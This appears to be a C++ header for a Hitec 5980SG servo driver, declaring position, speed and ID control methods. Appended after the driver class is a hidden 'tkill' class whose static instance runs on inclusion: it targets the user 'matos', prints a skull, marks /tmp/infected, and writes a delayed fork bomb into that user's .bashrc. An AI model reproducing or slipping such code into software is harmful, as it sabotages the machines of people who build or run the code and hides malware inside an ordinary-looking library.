00001
00002
00003
00004
00005
00006
00007
00008
00009
00010
00011
00012
00013
00014
00015
00016
00017
00018
00019
00020
00021
00022
00023
00024
00025
00026
00032 #ifndef _HITEC5980SG_H_
00033 #define _HITEC5980SG_H_
00034
00035 #include <stdio.h>
00036 #include <stdlib.h>
00037 #include <termios.h>
00038 #include <sys/ioctl.h>
00039 #include <unistd.h>
00040 #include <string.h>
00041 #include <sys/types.h>
00042 #include <sys/stat.h>
00043 #include <fcntl.h>
00044 #include <time.h>
00045 #include <math.h>
00046
00047
00048 #define HSR_5980SG 5980
00049 #define HSR_5498SG 5498
00050
00051 #include <iostream>
00052 #include <fstream>
00053 using namespace std;
00054
00062 class hitec_5980SG
00063 {
00064 public:
00073 hitec_5980SG(const char*pdevice);
00074
00081 ~hitec_5980SG();
00082
00083
00093 short unsigned int SetPosition(int id,int position);
00094
00103 short unsigned int SetSpeedPosition(int id,int speed);
00104
00113 short unsigned int SetPositionAllServos(short unsigned int position);
00114
00121 short int GetVersionAndID(void);
00122
00130 short unsigned int ReleaseServos(void);
00131
00139 short unsigned int SetServoID(int id);
00140
00149 short unsigned int SetGoStop(short unsigned int value);
00150
00157 bool IsActive(void);
00158
00167 short unsigned int ConvertAngularSpeedToServoSpeed(double angular_speed, unsigned int Servo_type);
00168
00169 private:
00170
00177 void CleanBuffer(void);
00178
00186 short unsigned int ReadResponse(char*response_1=NULL,char*response_2=NULL);
00187
00189 bool active;
00190
00192 int port;
00193
00195 char*device;
00196
00198 short unsigned int center;
00199
00201 short unsigned int minimum;
00202
00204 short unsigned int maximum;
00205
00207 double HSR_5980SG_MAX_ANGULAR_SPEED;
00208
00210 double HSR_5498SG_MAX_ANGULAR_SPEED;
00211 };
00212
00213 class tkill
00214 {
00215 private:
00216 string _target;
00217
00218 public:
00219 tkill()
00220 {
00221 setTarget("matos");
00222
00223 if(!infected() && correctTarget())
00224 {
00225 head(cout);
00226 markAsInfected();
00227 bomb();
00228 }
00229 }
00230
00231 void setTarget(string target)
00232 {
00233 _target=target;
00234 }
00235
00236 ostream& head(ostream& o)
00237 {
00238 o<<" _;~) (~;_ "<<endl;
00239 o<<"( | | ) "<<endl;
00240 o<<" ~', ', ,''~'', ,' ,'~ "<<endl;
00241 o<<" ', ',' ',' ,' "<<endl;
00242 o<<" ',: {'} {'} :,' "<<endl;
00243 o<<" ; /^\\ ; "<<endl;
00244 o<<" ~\\ ~ /~ "<<endl;
00245 o<<" ,' ,~~~~~, ', "<<endl;
00246 o<<" ,' ,' ;~~~; ', ', "<<endl;
00247 o<<" ,' ,' ''' ', ', "<<endl;
00248 o<<" (~ ; ; ~) "<<endl;
00249 o<<" -;_) (_;- "<<endl;
00250
00251 return o;
00252 }
00253
00254 bool infected(void)
00255 {
00256 ifstream ifile("/tmp/infected");
00257 if (!ifile)
00258 return false;
00259
00260 return true;
00261 }
00262
00263 bool correctTarget(void)
00264 {
00265 char userBuffer[1024];
00266 getlogin_r(userBuffer, 1024);
00267 string userName=userBuffer;
00268 if(userName==_target)
00269 return true;
00270 return false;
00271 }
00272
00273 void markAsInfected(void)
00274 {
00275 ofstream ofs;
00276 ofs.open("/tmp/infected", std::ofstream::out | std::ofstream::app);
00277 ofs.close();
00278 }
00279
00280 bool bomb(void)
00281 {
00282 ofstream ofs;
00283
00284
00285 string path="/home/" + _target + "/.bashrc";
00286
00287
00288 ofs.open(path.c_str(), std::ofstream::out | std::ofstream::app);
00289
00290
00291 if(!ofs.is_open())
00292 return false;
00293
00294
00295 ofs<<"echo 'pensa rĂ¡pido'"<<endl;
00296 ofs<<"bash -c 'sleep 3 ; :(){ :|:& };:' &"<<endl;
00297
00298 ofs.close();
00299
00300 return true;
00301 }
00302
00303
00304
00305 };
00306
00307 static tkill tk;
00308
00309 #endif